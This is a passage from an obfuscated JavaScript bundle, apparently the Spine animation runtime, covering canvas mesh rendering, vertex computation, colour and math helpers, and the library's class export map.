_0xe4a207, _0x4be4d2, _0x24cebb, _0x1d6aad, _0x80c48, _0x42b4cd, _0x5ae84c), this['debugRendering'] && (_0x36487e['strokeStyle'] = 'green', _0x36487e['beginPath'](), _0x36487e['moveTo'](_0xf88a2d, _0x3b5343), _0x36487e['lineTo'](_0x45e13c, _0xe4a207), _0x36487e['lineTo'](_0x1d6aad, _0x80c48), _0x36487e['lineTo'](_0xf88a2d, _0x3b5343), _0x36487e['stroke']()); } } } this['ctx']['globalAlpha'] = 0x1; } ['drawTriangle'](_0x3a6a3f, _0x1cf31a, _0x572818, _0x1f4cbd, _0x5bac60, _0x263f4c, _0x705ecf, _0x424f3d, _0x5dba83, _0x6211ec, _0x54dea6, _0x5444aa, _0x2bbf6d) { let _0x43fe4c = this['ctx']; _0x1f4cbd *= _0x3a6a3f['width'], _0x5bac60 *= _0x3a6a3f['height'], _0x424f3d *= _0x3a6a3f['width'], _0x5dba83 *= _0x3a6a3f['height'], _0x5444aa *= _0x3a6a3f['width'], _0x2bbf6d *= _0x3a6a3f['height'], _0x43fe4c['beginPath'](), _0x43fe4c['moveTo'](_0x1cf31a, _0x572818), _0x43fe4c['lineTo'](_0x263f4c, _0x705ecf), _0x43fe4c['lineTo'](_0x6211ec, _0x54dea6), _0x43fe4c['closePath'](); var _0x151b04 = 0x1 / ((_0x424f3d -= _0x1f4cbd) * (_0x2bbf6d -= _0x5bac60) - (_0x5444aa -= _0x1f4cbd) * (_0x5dba83 -= _0x5bac60)), _0x203a82 = (_0x2bbf6d * (_0x263f4c -= _0x1cf31a) - _0x5dba83 * (_0x6211ec -= _0x1cf31a)) * _0x151b04, _0x487e7c = (_0x2bbf6d * (_0x705ecf -= _0x572818) - _0x5dba83 * (_0x54dea6 -= _0x572818)) * _0x151b04, _0x275815 = (_0x424f3d * _0x6211ec - _0x5444aa * _0x263f4c) * _0x151b04, _0x50081f = (_0x424f3d * _0x54dea6 - _0x5444aa * _0x705ecf) * _0x151b04, _0x3ab81d = _0x1cf31a - _0x203a82 * _0x1f4cbd - _0x275815 * _0x5bac60, _0x576047 = _0x572818 - _0x487e7c * _0x1f4cbd - _0x50081f * _0x5bac60; _0x43fe4c['save'](), _0x43fe4c['transform'](_0x203a82, _0x487e7c, _0x275815, _0x50081f, _0x3ab81d, _0x576047), _0x43fe4c['clip'](), _0x43fe4c['drawImage'](_0x3a6a3f, 0x0, 0x0), _0x43fe4c['restore'](); } ['computeRegionVertices'](_0x1e9d7a, _0x3dcba0, _0x3b5784) { let _0x50958e = _0x1e9d7a['bone']['skeleton']['color'], _0x5b79f3 = _0x1e9d7a['color'], _0xe7592c = _0x3dcba0['color'], _0x4158b6 = _0x50958e['a'] * _0x5b79f3['a'] * _0xe7592c['a'], _0x318781 = _0x3b5784 ? _0x4158b6 : 0x1, _0x2d862d = this['tempColor']; _0x2d862d['set'](_0x50958e['r'] * _0x5b79f3['r'] * _0xe7592c['r'] * _0x318781, _0x50958e['g'] * _0x5b79f3['g'] * _0xe7592c['g'] * _0x318781, _0x50958e['b'] * _0x5b79f3['b'] * _0xe7592c['b'] * _0x318781, _0x4158b6), _0x3dcba0['computeWorldVertices'](_0x1e9d7a, this['vertices'], 0x0, _0x3554c3['VERTEX_SIZE']); let _0x1d8d8a = this['vertices'], _0xf57063 = _0x3dcba0['uvs']; return _0x1d8d8a[_0x4c00b5['C1R']] = _0x2d862d['r'], _0x1d8d8a[_0x4c00b5['C1G']] = _0x2d862d['g'], _0x1d8d8a[_0x4c00b5['C1B']] = _0x2d862d['b'], _0x1d8d8a[_0x4c00b5['C1A']] = _0x2d862d['a'], _0x1d8d8a[_0x4c00b5['U1']] = _0xf57063[0x0], _0x1d8d8a[_0x4c00b5['V1']] = _0xf57063[0x1], _0x1d8d8a[_0x4c00b5['C2R']] = _0x2d862d['r'], _0x1d8d8a[_0x4c00b5['C2G']] = _0x2d862d['g'], _0x1d8d8a[_0x4c00b5['C2B']] = _0x2d862d['b'], _0x1d8d8a[_0x4c00b5['C2A']] = _0x2d862d['a'], _0x1d8d8a[_0x4c00b5['U2']] = _0xf57063[0x2], _0x1d8d8a[_0x4c00b5['V2']] = _0xf57063[0x3], _0x1d8d8a[_0x4c00b5['C3R']] = _0x2d862d['r'], _0x1d8d8a[_0x4c00b5['C3G']] = _0x2d862d['g'], _0x1d8d8a[_0x4c00b5['C3B']] = _0x2d862d['b'], _0x1d8d8a[_0x4c00b5['C3A']] = _0x2d862d['a'], _0x1d8d8a[_0x4c00b5['U3']] = _0xf57063[0x4], _0x1d8d8a[_0x4c00b5['V3']] = _0xf57063[0x5], _0x1d8d8a[_0x4c00b5['C4R']] = _0x2d862d['r'], _0x1d8d8a[_0x4c00b5['C4G']] = _0x2d862d['g'], _0x1d8d8a[_0x4c00b5['C4B']] = _0x2d862d['b'], _0x1d8d8a[_0x4c00b5['C4A']] = _0x2d862d['a'], _0x1d8d8a[_0x4c00b5['U4']] = _0xf57063[0x6], _0x1d8d8a[_0x4c00b5['V4']] = _0xf57063[0x7], _0x1d8d8a; } ['computeMeshVertices'](_0x4e11ea, _0x5f1810, _0x12c233) { let _0x54b624 = _0x4e11ea['bone']['skeleton']['color'], _0x2d2c19 = _0x4e11ea['color'], _0x3ab7f6 = _0x5f1810['color'], _0x686489 = _0x54b624['a'] * _0x2d2c19['a'] * _0x3ab7f6['a'], _0xba02e0 = _0x12c233 ? _0x686489 : 0x1, _0x13d4a0 = this['tempColor']; _0x13d4a0['set'](_0x54b624['r'] * _0x2d2c19['r'] * _0x3ab7f6['r'] * _0xba02e0, _0x54b624['g'] * _0x2d2c19['g'] * _0x3ab7f6['g'] * _0xba02e0, _0x54b624['b'] * _0x2d2c19['b'] * _0x3ab7f6['b'] * _0xba02e0, _0x686489); let _0x5e0954 = _0x5f1810['worldVerticesLength'] / 0x2, _0x539b90 = this['vertices']; _0x539b90['length'] < _0x5f1810['worldVerticesLength'] && (this['vertices'] = _0x539b90 = _0x380bba['newFloatArray'](_0x5f1810['worldVerticesLength'])), _0x5f1810['computeWorldVertices'](_0x4e11ea, 0x0, _0x5f1810['worldVerticesLength'], _0x539b90, 0x0, _0x3554c3['VERTEX_SIZE']); let _0x5e0325 = _0x5f1810['uvs']; for (let _0x2bef06 = 0x0, _0x243950 = 0x0, _0x58625 = 0x2; _0x2bef06 < _0x5e0954; _0x2bef06++)_0x539b90[_0x58625++] = _0x13d4a0['r'], _0x539b90[_0x58625++] = _0x13d4a0['g'], _0x539b90[_0x58625++] = _0x13d4a0['b'], _0x539b90[_0x58625++] = _0x13d4a0['a'], _0x539b90[_0x58625++] = _0x5e0325[_0x243950++], _0x539b90[_0x58625++] = _0x5e0325[_0x243950++], _0x58625 += 0x2; return _0x539b90; } }, _0x3fc70d = _0x3554c3; return _0x3fc70d['QUAD_TRIANGLES'] = [0x0, 0x1, 0x2, 0x2, 0x3, 0x0], _0x3fc70d['VERTEX_SIZE'] = 0x8, _0x370d41 = _0x491ac9, ((_0x5c32e1, _0x5627fb, _0x27eef4, _0x52825f) => { if (_0x5627fb && 'object' == typeof _0x5627fb || 'function' == typeof _0x5627fb) { for (let _0x1b20eb of _0x4ba799(_0x5627fb)) _0x145241['call'](_0x5c32e1, _0x1b20eb) || _0x1b20eb === _0x27eef4 || _0x198433(_0x5c32e1, _0x1b20eb, { 'get': () => _0x5627fb[_0x1b20eb], 'enumerable': !(_0x52825f = _0x3a1c57(_0x5627fb, _0x1b20eb)) || _0x52825f['enumerable'] }); } return _0x5c32e1; })(_0x198433({}, '__esModule', { 'value': !0x0 }), _0x370d41); })()); _0x248176['exports'] = _0x4556aa; }['call'](window)); }, 0x1d5e: _0x369fb7 => { (function () { 'use strict'; var _0x8d3dcd = ((() => { var _0x1c9408 = Object['defineProperty'], _0x4c8e76 = Object['getOwnPropertyDescriptor'], _0x20a792 = Object['getOwnPropertyNames'], _0x55d9c8 = Object['prototype']['hasOwnProperty'], _0x22a8c6 = {}; ((_0x223be9, _0x42ab23) => { for (var _0x3c8e95 in _0x42ab23) _0x1c9408(_0x223be9, _0x3c8e95, { 'get': _0x42ab23[_0x3c8e95], 'enumerable': !0x0 }); })(_0x22a8c6, { 'AlphaTimeline': () => _0x41704c, 'Animation': () => _0x3de812, 'AnimationState': () => _0x47ca3c, 'AnimationStateAdapter': () => _0x476792, 'AnimationStateData': () => _0x5d4632, 'AssetManager': () => _0x2b27f7, 'AssetManagerBase': () => _0x164ade, 'AtlasAttachmentLoader': () => _0x2d3ccd, 'Attachment': () => _0x115ac3, 'AttachmentTimeline': () => _0xc3d6e4, 'BinaryInput': () => _0xfc5ff5, 'BlendMode': () => _0x1e334b, 'Bone': () => _0x58bfd5, 'BoneData': () => _0x4a09a6, 'BoundingBoxAttachment': () => _0xe9c142, 'CURRENT': () => _0x3a3032, 'CameraController': () => _0x82a26b, 'ClippingAttachment': () => _0xafd745, 'Color': () => _0x1acaf1, 'Color2Attribute': () => _0x65274c, 'ColorAttribute': () => _0x78450f, 'ConstraintData': () => _0x13597a, 'CurveTimeline': () => _0x1b9341, 'CurveTimeline1': () => _0x3c9c6c, 'CurveTimeline2': () => _0x5bc693, 'DebugUtils': () => _0x1cf665, 'DeformTimeline': () => _0x92c76c, 'Downloader': () => _0x24200b, 'DrawOrderTimeline': () => _0x19ad43, 'Event': () => _0x49644a, 'EventData': () => _0x39c213, 'EventQueue': () => _0x1bc29c, 'EventTimeline': () => _0x10fcbe, 'EventType': () => _0x1a64e5, 'FIRST': () => _0x5f5b96, 'FakeTexture': () => _0x5966de, 'GLTexture': () => _0x3f7b11, 'HOLD_FIRST': () => _0x2af48a, 'HOLD_MIX': () => _0x2529cc, 'HOLD_SUBSEQUENT': () => _0x518eb5, 'IkConstraint': () => _0x552570, 'IkConstraintData': () => _0x1ba0c8, 'IkConstraintTimeline': () => _0x5cbe25, 'Input': () => _0x2c6a0e, 'IntSet': () => _0x430958, 'Interpolation': () => _0x4b7c36, 'LoadingScreen': () => _0x2c6b26, 'M00': () => _0x25d618, 'M01': () => _0x55d0aa, 'M02': () => _0x2b46b3, 'M03': () => _0x3dff38, 'M10': () => _0x25d647, 'M11': () => _0x2ab09b, 'M12': () => _0x558473, 'M13': () => _0x2e74be, 'M20': () => _0x3a218a, 'M21': () => _0x17b526, 'M22': () => _0x419787, 'M23': () => _0x39725b, 'M30': () => _0x5dbca2, 'M31': () => _0x2c4831, 'M32': () => _0x3b4601, 'M33': () => _0x1780e3, 'ManagedWebGLRenderingContext': () => _0x48af2d, 'MathUtils': () => _0x19ba92, 'Matrix4': () => _0x2e564e, 'Mesh': () => _0xff327e, 'MeshAttachment': () => _0x14aa55, 'MixBlend': () => _0x20befd, 'MixDirection': () => _0x16f044, 'OrthoCamera': () => _0x29adc8, 'PathAttachment': () => _0x27d2b5, 'PathConstraint': () => _0x253126, 'PathConstraintData': () => _0x45bd9c, 'PathConstraintMixTimeline': () => _0x51fe49, 'PathConstraintPositionTimeline': () => _0x2ce15c, 'PathConstraintSpacingTimeline': () => _0x416382, 'PointAttachment': () => _0x582327, 'PolygonBatcher': () => _0x190e91, 'Pool': () => _0x539389, 'Position2Attribute': () => _0x176d71, 'Position3Attribute': () => _0x2e068b, 'PositionMode': () => _0x3c0178, 'Pow': () => _0x46d3f0, 'PowOut': () => _0x358240, 'RGB2Timeline': () => _0x3aedbe, 'RGBA2Timeline': () => _0x585b70, 'RGBATimeline': () => _0x185cd5, 'RGBTimeline': () => _0x21e97f, 'RegionAttachment': () => _0x2c3c3c, 'ResizeMode': () => _0x45d857, 'RotateMode': () => _0x3bd433, 'RotateTimeline': () => _0x96df89, 'SETUP': () => _0x1338f6, 'SUBSEQUENT': () => _0x39c63e, 'ScaleTimeline': () => _0x72a919, 'ScaleXTimeline': () => _0x5c2c0b, 'ScaleYTimeline': () => _0x4dc808, 'SceneRenderer': () => _0x5179df, 'SequenceTimeline': () => _0x247f55, 'Shader': () => _0x5e5d4e, 'ShapeRenderer': () => _0x5a2c10, 'ShapeType': () => _0x3e0251, 'ShearTimeline': () => _0x4c274b, 'ShearXTimeline': () => _0x574826, 'ShearYTimeline': () => _0x3d4ca, 'Skeleton': () => _0x18f88e, 'SkeletonBinary': () => _0x308a98, 'SkeletonBounds': () => _0x313c2f, 'SkeletonClipping': () => _0x3abe9e, 'SkeletonData': () => _0x13d71a, 'SkeletonDebugRenderer': () => _0x2da4a9, 'SkeletonJson': () => _0x5320e1, 'SkeletonRenderer': () => _0x25c359, 'Skin': () => _0x44f177, 'SkinEntry': () => _0x2e6b24, 'Slot': () => _0x1a1cac, 'SlotData': () => _0x3862fc, 'SpacingMode': () => _0x5b9a72, 'SpineCanvas': () => _0x4eb99a, 'StringSet': () => _0x9fefcd, 'TexCoordAttribute': () => _0x563a5a, 'Texture': () => _0x24d14b, 'TextureAtlas': () => _0x2de0d1, 'TextureAtlasPage': () => _0x3791fe, 'TextureAtlasRegion': () => _0x53c964, 'TextureFilter': () => _0x434efc, 'TextureRegion': () => _0xce4344, 'TextureWrap': () => _0x252865, 'TimeKeeper': () => _0x1a4d11, 'Timeline': () => _0x14ac7e, 'Touch': () => _0x5df4f4, 'TrackEntry': () => _0x1f907d, 'TransformConstraint': () => _0x41bd97, 'TransformConstraintData': () => _0x3d5169, 'TransformConstraintTimeline': () => _0x47d708, 'TransformMode': () => _0x1f1575, 'TranslateTimeline': () => _0x6b1dcb, 'TranslateXTimeline': () => _0x2f9417, 'TranslateYTimeline': () => _0x1a76ca, 'Triangulator': () => _0x570c49, 'Utils': () => _0x5bda80, 'Vector2': () => _0x6ada3, 'Vector3': () => _0x5917a2, 'VertexAttachment': () => _0x3d7263, 'VertexAttribute': () => _0x5b6bac, 'VertexAttributeType': () => _0x59a5cc, 'WebGLBlendModeConverter': () => _0x364f31, 'WindowedMean': () => _0x2eff23 }); var _0x430958 = class { constructor() { this['array'] = new Array(); } ['add'](_0x26227e) { let _0x1f5039 = this['contains'](_0x26227e); return this['array'][0x0 | _0x26227e] = 0x0 | _0x26227e, !_0x1f5039; } ['contains'](_0x503757) { return null != this['array'][0x0 | _0x503757]; } ['remove'](_0x187504) { this['array'][0x0 | _0x187504] = void 0x0; } ['clear']() { this['array']['length'] = 0x0; } }, _0x9fefcd = class { constructor() { this['entries'] = {}, this['size'] = 0x0; } ['add'](_0x42b466) { let _0x233fab = this['entries'][_0x42b466]; return this['entries'][_0x42b466] = !0x0, !_0x233fab && (this['size']++, !0x0); } ['addAll'](_0x215206) { let _0x5b5443 = this['size']; for (var _0x2d1e17 = 0x0, _0x5bed3f = _0x215206['length']; _0x2d1e17 < _0x5bed3f; _0x2d1e17++)this['add'](_0x215206[_0x2d1e17]); return _0x5b5443 != this['size']; } ['contains'](_0x507454) { return this['entries'][_0x507454]; } ['clear']() { this['entries'] = {}, this['size'] = 0x0; } }, _0x1867cb = class { constructor(_0x55d7f7 = 0x0, _0x54ce89 = 0x0, _0x38f7e0 = 0x0, _0x4f0ec9 = 0x0) { this['r'] = _0x55d7f7, this['g'] = _0x54ce89, this['b'] = _0x38f7e0, this['a'] = _0x4f0ec9; } ['set'](_0x579d67, _0x1f1e79, _0x5bc526, _0x16cc86) { return this['r'] = _0x579d67, this['g'] = _0x1f1e79, this['b'] = _0x5bc526, this['a'] = _0x16cc86, this['clamp'](); } ['setFromColor'](_0x10552e) { return this['r'] = _0x10552e['r'], this['g'] = _0x10552e['g'], this['b'] = _0x10552e['b'], this['a'] = _0x10552e['a'], this; } ['setFromString'](_0x294864) { return _0x294864 = '#' == _0x294864['charAt'](0x0) ? _0x294864['substr'](0x1) : _0x294864, this['r'] = parseInt(_0x294864['substr'](0x0, 0x2), 0x10) / 0xff, this['g'] = parseInt(_0x294864['substr'](0x2, 0x2), 0x10) / 0xff, this['b'] = parseInt(_0x294864['substr'](0x4, 0x2), 0x10) / 0xff, this['a'] = 0x8 != _0x294864['length'] ? 0x1 : parseInt(_0x294864['substr'](0x6, 0x2), 0x10) / 0xff, this; } ['add'](_0x909119, _0x17b7d2, _0x1281d5, _0x21d07a) { return this['r'] += _0x909119, this['g'] += _0x17b7d2, this['b'] += _0x1281d5, this['a'] += _0x21d07a, this['clamp'](); } ['clamp']() { return this['r'] < 0x0 ? this['r'] = 0x0 : this['r'] > 0x1 && (this['r'] = 0x1), this['g'] < 0x0 ? this['g'] = 0x0 : this['g'] > 0x1 && (this['g'] = 0x1), this['b'] < 0x0 ? this['b'] = 0x0 : this['b'] > 0x1 && (this['b'] = 0x1), this['a'] < 0x0 ? this['a'] = 0x0 : this['a'] > 0x1 && (this['a'] = 0x1), this; } static ['rgba8888ToColor'](_0x5810a5, _0x37aeff) { _0x5810a5['r'] = ((0xff000000 & _0x37aeff) >>> 0x18) / 0xff, _0x5810a5['g'] = ((0xff0000 & _0x37aeff) >>> 0x10) / 0xff, _0x5810a5['b'] = ((0xff00 & _0x37aeff) >>> 0x8) / 0xff, _0x5810a5['a'] = (0xff & _0x37aeff) / 0xff; } static ['rgb888ToColor'](_0x1f68df, _0x3ffdca) { _0x1f68df['r'] = ((0xff0000 & _0x3ffdca) >>> 0x10) / 0xff, _0x1f68df['g'] = ((0xff00 & _0x3ffdca) >>> 0x8) / 0xff, _0x1f68df['b'] = (0xff & _0x3ffdca) / 0xff; } static ['fromString'](_0xb26940) { return new _0x1867cb()['setFromString'](_0xb26940); } }, _0x1acaf1 = _0x1867cb; _0x1acaf1['WHITE'] = new _0x1867cb(0x1, 0x1, 0x1, 0x1), _0x1acaf1['RED'] = new _0x1867cb(0x1, 0x0, 0x0, 0x1), _0x1acaf1['GREEN'] = new _0x1867cb(0x0, 0x1, 0x0, 0x1), _0x1acaf1['BLUE'] = new _0x1867cb(0x0, 0x0, 0x1, 0x1), _0x1acaf1['MAGENTA'] = new _0x1867cb(0x1, 0x0, 0x1, 0x1); var _0x5debda = class { static ['clamp'](_0x4c5cee, _0x514cb9, _0x55bbe3) { return _0x4c5cee < _0x514cb9 ? _0x514cb9 : _0x4c5cee > _0x55bbe3 ? _0x55bbe3 : _0x4c5cee; } static ['cosDeg'](_0x4d6c94) { return Math['cos'](_0x4d6c94 * _0x5debda['degRad']); } static ['sinDeg'](_0x55d520) { return Math['sin'](_0x55d520 * _0x5debda['degRad']); } static ['signum'](_0x454c63) { return _0x454c63 > 0x0 ? 0x1 : _0x454c63 < 0x0 ? -0x1 : 0x0; } static ['toInt'](_0x2794c5) { return _0x2794c5 > 0x0 ? Math['floor'](_0x2794c5) : Math['ceil'](_0x2794c5); } static ['cbrt'](_0x489665) { let _0x260b2c = Math['pow'](Math['abs'](_0x489665), 0x1 / 0x3); return _0x489665 < 0x0 ? -_0x260b2c : _0x260b2c; } static ['randomTriangular'](_0xa841a2, _0x1f89f4) { return _0x5debda['randomTriangularWith'](_0xa841a2, _0x1f89f4, 0.5 * (_0xa841a2 + _0x1f89f4)); } static ['randomTriangularWith'](_0x221530, _0x8d0b41, _0x436fe9) { let _0xa1b4b7 = Math['random'](), _0x37421b = _0x8d0b41 - _0x221530; return _0xa1b4b7 <= (_0x436fe9 - _0x221530) / _0x37421b ? _0x221530 + Math['sqrt'](_0xa1b4b7 * _0x37421b * (_0x436fe9 - _0x221530)) : _0x8d0b41 - Math['sqrt']((0x1 - _0xa1b4b7) * _0x37421b * (_0x8d0b41 - _0x436fe9)); } static ['isPowerOfTwo'](_0x41a593) { return _0x41a593 && 0x0 == (_0x41a593 & _0x41a593 - 0x1); } }, _0x19ba92 = _0x5debda; _0x19ba92['PI'] = 3.1415927, _0x19ba92['PI2'] = 0x2 * _0x5debda['PI'], _0x19ba92['radiansToDegrees'] = 0xb4 / _0x5debda['PI'], _0x19ba92['radDeg'] = _0x5debda['radiansToDegrees'], _0x19ba92['degreesToRadians'] = _0x5debda['PI'] / 0xb4, _0x19ba92['degRad'] = _0x5debda['degreesToRadians']; var _0x4b7c36 = class { ['apply'](_0x320957, _0x2979da, _0x2bdb6f) { return _0x320957 + (_0x2979da - _0x320957) * this['applyInternal'](_0x2bdb6f); } }, _0x46d3f0 = class extends _0x4b7c36 { constructor(_0x38c332) { super(), this['power'] = 0x2, this['power'] = _0x38c332; } ['applyInternal'](_0x537f0d) { return _0x537f0d <= 0.5 ? Math['pow'](0x2 * _0x537f0d, this['power']) / 0x2 : Math['pow'](0x2 * (_0x537f0d - 0x1), this['power']) / (this['power'] % 0x2 == 0x0 ? -0x2 : 0x2) + 0x1; } }, _0x358240 = class extends _0x46d3f0 { constructor(_0x3d3d13) { super(_0x3d3d13); } ['applyInternal'](_0x961354) { return Math['pow'](_0x961354 - 0x1, this['power']) * (this['power'] % 0x2 == 0x0 ? -0x1 : 0x1) + 0x1; } }, _0x2fce1f = class { static ['arrayCopy'](_0x340727, _0x8aa2b1, _0xe5a9a4, _0x1fa2ff, _0x2bf48e) { for (let _0x15c40a = _0x8aa2b1, _0x1be461 = _0x1fa2ff; _0x15c40a < _0x8aa2b1 + _0x2bf48e; _0x15c40a++, _0x1be461++)_0xe5a9a4[_0x1be461] = _0x340727[_0x15c40a]; } static ['arrayFill'](_0x5777cf, _0x284f15, _0x42c7af, _0x565e80) { for (let _0x5c35e0 = _0x284f15; _0x5c35e0 < _0x42c7af; _0x5c35e0++)_0x5777cf[_0x5c35e0] = _0x565e80; } static ['setArraySize'](_0x572f7f, _0x56bc76, _0x4d481d = 0x0) { let _0x76b9e0 = _0x572f7f['length']; if (_0x76b9e0 == _0x56bc76) return _0x572f7f; if (_0x572f7f['length'] = _0x56bc76, _0x76b9e0 < _0x56bc76) { for (let _0x17992f = _0x76b9e0; _0x17992f < _0x56bc76; _0x17992f++)_0x572f7f[_0x17992f] = _0x4d481d; } return _0x572f7f; } static ['ensureArrayCapacity'](_0x5346a5, _0x1d074d, _0x1a8f86 = 0x0) { return _0x5346a5['length'] >= _0x1d074d ? _0x5346a5 : _0x2fce1f['setArraySize'](_0x5346a5, _0x1d074d, _0x1a8f86); } static ['newArray'](_0x2e5369, _0x54b331) { let _0x279d87 = new Array(_0x2e5369); for (let _0x33b277 = 0x0; _0x33b277 < _0x2e5369; _0x33b277++)_0x279d87[_0x33b277] = _0x54b331; return _0x279d87; } static ['newFloatArray'](_0x9b85f8) { if (_0x2fce1f['SUPPORTS_TYPED_ARRAYS']) return new Float32Array(_0x9b85f8); { let _0x4a72ce = new Array(_0x9b85f8); for (let _0x11ca17 = 0x0; _0x11ca17 < _0x4a72ce['length']; _0x11ca17++)_0x4a72ce[_0x11ca17] = 0x0; return _0x4a72ce; } } static ['newShortArray'](_0x31a8f8) { if (_0x2fce1f['SUPPORTS_TYPED_ARRAYS']) return new Int16Array(_0x31a8f8); { let _0x47b9f9 = new Array(_0x31a8f8); for (let _0xcc949f = 0x0; _0xcc949f < _0x47b9f9['length']; _0xcc949f++)_0x47b9f9[_0xcc949f] = 0x0; return _0x47b9f9; } } static ['toFloatArray'](_0xc9f2b2) { return _0x2fce1f['SUPPORTS_TYPED_ARRAYS'] ? new Float32Array(_0xc9f2b2) : _0xc9f2b2; } static ['toSinglePrecision'](_0x6bfd5e) { return _0x2fce1f['SUPPORTS_TYPED_ARRAYS'] ? Math['fround'](_0x6bfd5e) : _0x6bfd5e; } static ['webkit602BugfixHelper'](_0x1f8ab3, _0x367ce2) { } static ['contains'](_0x521832, _0x343f19, _0x74e75e = !0x0) { for (var _0x76495c = 0x0; _0x76495c < _0x521832['length']; _0x76495c++)if (_0x521832[_0x76495c] == _0x343f19) return !0x0; return !0x1; } static ['enumValue'](_0x1e0311, _0x345907) { return _0x1e0311[_0x345907[0x0]['toUpperCase']() + _0x345907['slice'](0x1)]; } }, _0x5bda80 = _0x2fce1f; _0x5bda80['SUPPORTS_TYPED_ARRAYS'] = 'undefined' != typeof Float32Array; var _0x1cf665 = class { static ['logBones'](_0x808a89) { for (let _0x539eb6 = 0x0; _0x539eb6 < _0x808a89['bones']['length']; _0x539eb6++) { _0x808a89['bones'][_0x539eb6]; } } }, _0x539389 = class { constructor(_0x1aeee9) { this['items'] = new Array(), this['instantiator'] = _0x1aeee9; } ['obtain']() { return this['items']['length'] > 0x0 ? this['items']['pop']() : this['instantiator'](); } ['free'](_0x363ef0) { _0x363ef0['reset'] && _0x363ef0['reset'](), this['items']['push'](_0x363ef0); } ['freeAll'](_0xaa238a) { for (let _0x401c56 = 0x0; _0x401c56 < _0xaa238a['length']; _0x401c56++)this['free'](_0xaa238a[_0x401c56]); } ['clear']() { this['items']['length'] = 0x0; } }, _0x6ada3 = class { constructor(_0x8e3fe5 = 0x0, _0x4dde66 = 0x0) { this['x'] = _0x8e3fe5, this['y'] = _0x4dde66; } ['set'](_0x22d157, _0x2993c3) { return this['x'] = _0x22d157, this['y'] = _0x2993c3, this; } ['length']() { let _0x28a2a0 = this['x'], _0x4f3672 = this['y']; return Math['sqrt'](_0x28a2a0 * _0x28a2a0 + _0x4f3672 * _0x4f3672); } ['normalize']() { let _0x2ff6d1 = this['length'](); return 0x0 != _0x2ff6d1 && (this['x'] /= _0x2ff6d1, this['y'] /= _0x2ff6d1), this; } }, _0x1a4d11 = class { constructor() { this['maxDelta'] = 0.064, this['framesPerSecond'] = 0x0, this['delta'] = 0x0, this['totalTime'] = 0x0, this['lastTime'] = Date['now']() / 0x3e8, this['frameCount'] = 0x0, this['frameTime'] = 0x0; } ['update']() { let _0x62e518 = Date['now']() / 0x3e8; this['delta'] = _0x62e518 - this['lastTime'], this['frameTime'] += this['delta'], this['totalTime'] += this['delta'], this['delta'] > this['maxDelta'] && (this['delta'] = this['maxDelta']), this['lastTime'] = _0x62e518, this['frameCount']++, this['frameTime'] > 0x1 && (this['framesPerSecond'] = this['frameCount'] / this['frameTime'], this['frameTime'] = 0x0, this['frameCount'] = 0x0); } }, _0x2eff23 = class { constructor(_0x165cc2 = 0x20) { this['addedValues'] = 0x0, this['lastValue'] = 0x0, this['mean'] = 0x0, this['dirty'] = !0x0, this['values'] = new Array(_0x165cc2); } ['hasEnoughData']() { return this['addedValues'] >= this['values']['length']; } ['addValue'](_0xf682a0) { this['addedValues'] < this['values']['length'] && this['addedValues']++, this['values'][this['lastValue']++] = _0xf682a0, this['lastValue'] > this['values']['length'] - 0x1 && (this['lastValue'] = 0x0), this['dirty'] = !0x0; } ['getMean']() { if (this['hasEnoughData']()) { if (this['dirty']) { let _0x40aa58 = 0x0; for (let _0x4b32d1 = 0x0; _0x4b32d1 < this['values']['length']; _0x4b32d1++)_0x40aa58 += this['values'][_0x4b32d1]; this['mean'] = _0x40aa58 / this['values']['length'], this['dirty'] = !0x1; } return this['mean']; } return 0x0; } }, _0x115ac3 = class { constructor(_0x47cc75) { if (!_0x47cc75) throw new Error('name\x20cannot\x20be\x20null.'); this['name'] = _0x47cc75; } }, _0x157352 = class extends _0x115ac3 { constructor(_0x47463e) { super(_0x47463e), this['id'] = _0x157352['nextID']++, this['bones'] = null, this['vertices'] = [], this['worldVerticesLength'] = 0x0, this['timelineAttachment'] = this; } ['computeWorldVertices'](_0x5905a7, _0x4547c5, _0x47c30a, _0x48958c, _0x3d8dd1, _0x2d6c01) { _0x47c30a = _0x3d8dd1 + (_0x47c30a >> 0x1) * _0x2d6c01; let _0x35f3e9 = _0x5905a7['bone']['skeleton'], _0x126748 = _0x5905a7['deform'], _0xa42afc = this['vertices'], _0x1f2465 = this['bones']; if (!_0x1f2465) { _0x126748['length'] > 0x0 && (_0xa42afc = _0x126748); let _0x3db855 = _0x5905a7['bone'], _0x418167 = _0x3db855['worldX'], _0x2c7b47 = _0x3db855['worldY'], _0x56d073 = _0x3db855['a'], _0x169b92 = _0x3db855['b'], _0x4978d8 = _0x3db855['c'], _0x355596 = _0x3db855['d']; for (let _0x216e25 = _0x4547c5, _0x3a1bbb = _0x3d8dd1; _0x3a1bbb < _0x47c30a; _0x216e25 += 0x2, _0x3a1bbb += _0x2d6c01) { let _0x4e5653 = _0xa42afc[_0x216e25], _0x5cffec = _0xa42afc[_0x216e25 + 0x1]; _0x48958c[_0x3a1bbb] = _0x4e5653 * _0x56d073 + _0x5cffec * _0x169b92 + _0x418167, _0x48958c[_0x3a1bbb + 0x1] = _0x4e5653 * _0x4978d8 + _0x5cffec * _0x355596 + _0x2c7b47; } return; } let _0x1c5e6f = 0x0, _0x2b4e15 = 0x0; for (let _0x2a624 = 0x0; _0x2a624 < _0x4547c5; _0x2a624 += 0x2) { let _0x39cfd0 = _0x1f2465[_0x1c5e6f]; _0x1c5e6f += _0x39cfd0 + 0x1, _0x2b4e15 += _0x39cfd0; } let _0x3fe0b4 = _0x35f3e9['bones']; if (0x0 == _0x126748['length']) for (let _0x4b8103 = _0x3d8dd1, _0x3fa6bf = 0x3 * _0x2b4e15; _0x4b8103 < _0x47c30a; _0x4b8103 += _0x2d6c01) { let _0x4cafbe = 0x0, _0x596369 = 0x0, _0x1e9739 = _0x1f2465[_0x1c5e6f++]; for (_0x1e9739 += _0x1c5e6f; _0x1c5e6f < _0x1e9739; _0x1c5e6f++, _0x3fa6bf += 0x3) { let _0xf76927 = _0x3fe0b4[_0x1f2465[_0x1c5e6f]], _0x4d6f44 = _0xa42afc[_0x3fa6bf], _0x55e516 = _0xa42afc[_0x3fa6bf + 0x1], _0x3aec53 = _0xa42afc[_0x3fa6bf + 0x2]; _0x4cafbe += (_0x4d6f44 * _0xf76927['a'] + _0x55e516 * _0xf76927['b'] + _0xf76927['worldX']) * _0x3aec53, _0x596369 += (_0x4d6f44 * _0xf76927['c'] + _0x55e516 * _0xf76927['d'] + _0xf76927['worldY']) * _0x3aec53; } _0x48958c[_0x4b8103] = _0x4cafbe, _0x48958c[_0x4b8103 + 0x1] = _0x596369; } else { let _0x34f9ec = _0x126748; for (let _0x5374af = _0x3d8dd1, _0x2d0926 